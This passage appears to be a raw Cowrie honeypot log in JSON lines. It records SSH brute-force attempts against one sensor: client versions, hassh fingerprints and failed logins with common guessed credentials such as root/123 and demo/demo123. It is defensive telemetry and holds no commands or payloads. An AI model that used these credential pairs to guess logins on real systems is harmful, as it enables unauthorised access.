{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:06.922505Z","src_ip":"103.143.231.24","session":"0bc4518349b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:06.990546Z","src_ip":"103.143.231.24","session":"0bc4518349b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123123123","message":"login attempt [user1/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:07.295479Z","src_ip":"103.143.231.24","session":"0bc4518349b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:08.368585Z","src_ip":"103.143.231.24","session":"0bc4518349b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42340,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecdf1f708a14","protocol":"ssh","message":"New connection: 141.11.88.14:42340 (10.17.0.5:22) [session: ecdf1f708a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:08.545384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:08.626993Z","src_ip":"141.11.88.14","session":"ecdf1f708a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:08.804581Z","src_ip":"141.11.88.14","session":"ecdf1f708a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cc","password":"123456","message":"login attempt [cc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:09.322571Z","src_ip":"141.11.88.14","session":"ecdf1f708a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:10.455290Z","src_ip":"141.11.88.14","session":"ecdf1f708a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42412,"dst_ip":"10.17.0.5","dst_port":22,"session":"f98507ac1c7a","protocol":"ssh","message":"New connection: 141.11.88.14:42412 (10.17.0.5:22) [session: f98507ac1c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:16.675621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:16.718549Z","src_ip":"141.11.88.14","session":"f98507ac1c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:16.789515Z","src_ip":"141.11.88.14","session":"f98507ac1c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111111","message":"login attempt [root/111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:17.260815Z","src_ip":"141.11.88.14","session":"f98507ac1c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:18.345699Z","src_ip":"141.11.88.14","session":"f98507ac1c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56528,"dst_ip":"10.17.0.5","dst_port":22,"session":"cad70ab3dba8","protocol":"ssh","message":"New connection: 141.11.88.14:56528 (10.17.0.5:22) [session: cad70ab3dba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:23.340443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:23.395280Z","src_ip":"141.11.88.14","session":"cad70ab3dba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:23.455148Z","src_ip":"141.11.88.14","session":"cad70ab3dba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sss","password":"sss","message":"login attempt [sss/sss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:23.839492Z","src_ip":"141.11.88.14","session":"cad70ab3dba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.31509280204773,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:24.625248Z","src_ip":"128.199.8.54","session":"52334afb69ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:25.102897Z","src_ip":"141.11.88.14","session":"cad70ab3dba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31566,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bae06a65b47","protocol":"ssh","message":"New connection: 141.11.88.14:31566 (10.17.0.5:22) [session: 5bae06a65b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:30.289250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:30.414152Z","src_ip":"141.11.88.14","session":"5bae06a65b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:30.417794Z","src_ip":"141.11.88.14","session":"5bae06a65b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:31.004847Z","src_ip":"141.11.88.14","session":"5bae06a65b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:32.253049Z","src_ip":"141.11.88.14","session":"5bae06a65b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1df8702ca0b","protocol":"ssh","message":"New connection: 141.11.88.14:31588 (10.17.0.5:22) [session: e1df8702ca0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:37.430296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:37.579511Z","src_ip":"141.11.88.14","session":"e1df8702ca0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:38.020613Z","src_ip":"141.11.88.14","session":"e1df8702ca0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:38.830522Z","src_ip":"141.11.88.14","session":"e1df8702ca0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:40.571473Z","src_ip":"141.11.88.14","session":"e1df8702ca0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70dd9187d85","protocol":"ssh","message":"New connection: 141.11.88.14:40304 (10.17.0.5:22) [session: e70dd9187d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:45.857097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:45.983738Z","src_ip":"141.11.88.14","session":"e70dd9187d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:45.987238Z","src_ip":"141.11.88.14","session":"e70dd9187d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:46.722935Z","src_ip":"141.11.88.14","session":"e70dd9187d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:47.815597Z","src_ip":"141.11.88.14","session":"e70dd9187d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":50162,"dst_ip":"10.17.0.5","dst_port":22,"session":"55d968300466","protocol":"ssh","message":"New connection: 41.86.34.139:50162 (10.17.0.5:22) [session: 55d968300466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:52.887258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:52.893101Z","src_ip":"41.86.34.139","session":"55d968300466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:53.102085Z","src_ip":"41.86.34.139","session":"55d968300466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30380,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd8e13ef0c60","protocol":"ssh","message":"New connection: 141.11.88.14:30380 (10.17.0.5:22) [session: fd8e13ef0c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:53.875652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:53.948559Z","src_ip":"141.11.88.14","session":"fd8e13ef0c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:11:53.968386Z","src_ip":"41.86.34.139","session":"55d968300466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc